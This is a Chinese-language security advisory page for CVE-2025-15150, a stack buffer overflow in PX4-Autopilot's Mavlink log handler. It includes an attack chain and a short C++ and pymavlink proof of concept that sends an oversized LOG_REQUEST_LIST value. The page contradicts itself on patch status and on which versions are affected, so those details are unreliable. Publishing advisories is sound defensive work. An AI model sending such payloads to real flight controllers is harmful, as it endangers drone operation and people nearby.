IPBUF安全漏洞报告
English
CVE-2025-15150 CVSS 5.3 中危

CVE-2025-15150: PX4 PX4-Autopilot栈缓冲区溢出漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15150
漏洞类型
栈缓冲区溢出
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PX4 PX4-Autopilot

相关标签

栈缓冲区溢出PX4-AutopilotMavlink无人机安全飞控系统本地攻击CVE-2025-15150

漏洞概述

CVE-2025-15150是PX4 PX4-Autopilot飞控软件中的一个栈缓冲区溢出漏洞。该漏洞存在于MavlinkLogHandler模块的mavlink_log_handler.cpp文件中,具体影响state_listing和log_entry_from_id函数。攻击者可通过构造恶意的Mavlink日志请求消息,在本地触发栈缓冲区溢出,从而可能导致程序崩溃或潜在的代码执行。由于该漏洞需要本地访问权限且需要低权限认证才能利用,因此实际攻击面相对有限。PX4-Autopilot是一款广泛使用的开源自动驾驶仪软件,支持多种无人机平台。该漏洞影响版本至1.16.0,官方已发布补丁修复此问题,建议用户及时更新至最新版本以消除安全风险。

技术细节

该漏洞为经典的栈缓冲区溢出问题,发生在PX4-Autopilot的Mavlink日志处理模块中。具体漏洞点位于src/modules/mavlink/mavlink_log_handler.cpp文件的MavlinkLogHandler::state_listing和MavlinkLogHandler::log_entry_from_id函数。当处理Mavlink日志列表请求时,函数未能正确验证输入数据长度,直接将用户可控的数据复制到栈上的固定大小缓冲区中。攻击者可通过发送精心构造的Mavlink消息(如MAVLINK_MSG_ID_LOG_REQUEST_LIST),触发边界检查失效,导致栈数据被溢出覆盖。成功利用此漏洞可造成无人机飞控程序拒绝服务(崩溃),在特定条件下可能实现任意代码执行,从而影响飞行安全。建议开发者使用安全函数(如strncpy、snprintf)替代不安全的字符串操作,并增加输入长度验证。

攻击链分析

STEP 1
步骤1
攻击者获得PX4飞控系统的本地访问权限
STEP 2
步骤2
构造恶意的Mavlink LOG_REQUEST_LIST消息,设置last_entry为超出预期的极大值
STEP 3
步骤3
通过Mavlink协议向目标飞控发送恶意消息
STEP 4
步骤4
MavlinkLogHandler::state_listing或log_entry_from_id函数处理消息时,未验证长度直接复制数据到栈缓冲区
STEP 5
步骤5
栈缓冲区发生溢出,覆盖返回地址和关键寄存器
STEP 6
步骤6
攻击者可导致程序崩溃(DoS)或在特定条件下执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-15150 PoC - Mavlink Stack Buffer Overflow // This PoC demonstrates sending malicious Mavlink message to trigger overflow #include <cstdint> #include <cstring> // Mavlink message structure struct mavlink_message { uint16_t msgid; uint8_t payload[256]; }; // LOG_REQUEST_LIST message payload structure struct log_request_list_t { uint32_t target_system; // Target system ID uint32_t target_component; // Target component ID uint32_t first_entry; // First log entry to request uint32_t last_entry; // Last log entry to request }; void trigger_overflow() { mavlink_message msg; msg.msgid = 117; // MAVLINK_MSG_ID_LOG_REQUEST_LIST log_request_list_t *payload = (log_request_list_t *)msg.payload; payload->target_system = 1; payload->target_component = 1; payload->first_entry = 0; payload->last_entry = 0xFFFFFFFF; // Malicious: Large value to trigger overflow // Send this message to vulnerable MavlinkLogHandler // send_mavlink_message(msg); } // Alternative: Python PoC using pymavlink /* from pymavlink import mavutil connection = mavutil.mavlink_connection('udp://localhost:14540') # Craft malicious LOG_REQUEST_LIST message # This triggers buffer overflow in state_listing/log_entry_from_id msg = connection.mav.log_request_list_encode( target_system=1, target_component=1, first_entry=0, last_entry=0xFFFFFFFF # Overflow trigger ) connection.mav.send(msg) */

影响范围

PX4 PX4-Autopilot < 1.16.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制飞控系统的Mavlink通信权限,仅允许可信来源的消息;2) 在Mavlink网关处增加消息过滤和验证;3) 监控异常日志请求行为;4) 考虑网络隔离措施,限制对飞控系统的物理和网络访问。长期来看,应尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表